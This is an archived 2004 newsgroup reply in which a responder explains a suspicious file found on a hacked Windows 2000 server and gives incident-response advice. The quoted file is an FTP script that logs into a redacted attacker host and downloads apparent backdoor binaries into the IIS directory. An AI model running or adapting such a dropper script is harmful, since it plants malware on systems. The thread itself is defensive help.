Re: One of my W2K servers hacked?
From: Alexander Mattausch (Alexander.Mattausch_at_physik.uni-erlangen.de)
Date: 11/12/04
- Next message: SuperGumby [SBS MVP]: "Re: Migrating SBS 2000 to 2003 Server w/ Exchange 2003"
- Previous message: Joe: "Re: Migrating SBS 2000 to 2003 Server w/ Exchange 2003"
- In reply to: serge: "One of my W2K servers hacked?"
- Next in thread: serge: "Re: One of my W2K servers hacked?"
- Reply: serge: "Re: One of my W2K servers hacked?"
- Messages sorted by: [ date ] [ thread ]
Date: Fri, 12 Nov 2004 15:25:52 +0100
serge wrote:
> I inherited servers : W2K, W2003, no, no SBS in this network.
> Can i still ask the question here?
>
> I was browsing one W2K server and i found a hidden folder in C: Drive
> called "x", with a file in it called "x.txt"
>
> Opening this file shows:
>
> open x.x.x.x 33333
> USER hack
> hack
> GET shellhost32.exe c:\winnt\system32\inetsrv\data\shellhost32.exe
> GET shelllib.dll c:\winnt\system32\inetsrv\data\shelllib.dll
> GET filter.ini c:\winnt\system32\inetsrv\data\filter.ini
> GET filter.dll c:\winnt\system32\inetsrv\data\filter.dll
> GET JAsfv.dll c:\winnt\system32\inetsrv\data\JAsfv.dll
> GET JAsfv.ini c:\winnt\system32\inetsrv\data\JAsfv.ini
> bye
>
> Can someone please explain what the above does and how can i verify
> if this hacker has left backdoors, trojan horses etc...?
This appears to me as FTP commands. Did you replace the IP address in the
file with x.x.x.x? In principle, these are the commands that you need to
copy the listed files from the server x.x.x.x:33333, logging in as user
hack with password hack, to the directory c:\winnt\system32\inetsrv\data.
If there is a webserver running, it is possible that these files are
accessible from the internet.
As a first step you should remove these files, if they exist, from this
directory. Do not delete them, you might want to analyze them (e.g. a virus
scanner could be able to tell you which virus/trojan/backdoor it is).
It definitely is an idea to scan the full harddisk with a virus scanner.
This should be done by booting from a clean disk, e.g. a bootable CD with a
virus scanner (don't forget to update the signatures). But if this scanner
does not find anything, you are not necessarily free of any backdoors.
And, as Marina and Kevin suggested, run netstat to look for any open ports.
But if there is only the slightest hint that the system was compromised, you
have to remove the server from the internet immediately and reinstall as
soon as possible.
Regards, Alex
- Next message: SuperGumby [SBS MVP]: "Re: Migrating SBS 2000 to 2003 Server w/ Exchange 2003"
- Previous message: Joe: "Re: Migrating SBS 2000 to 2003 Server w/ Exchange 2003"
- In reply to: serge: "One of my W2K servers hacked?"
- Next in thread: serge: "Re: One of my W2K servers hacked?"
- Reply: serge: "Re: One of my W2K servers hacked?"
- Messages sorted by: [ date ] [ thread ]
Relevant Pages
|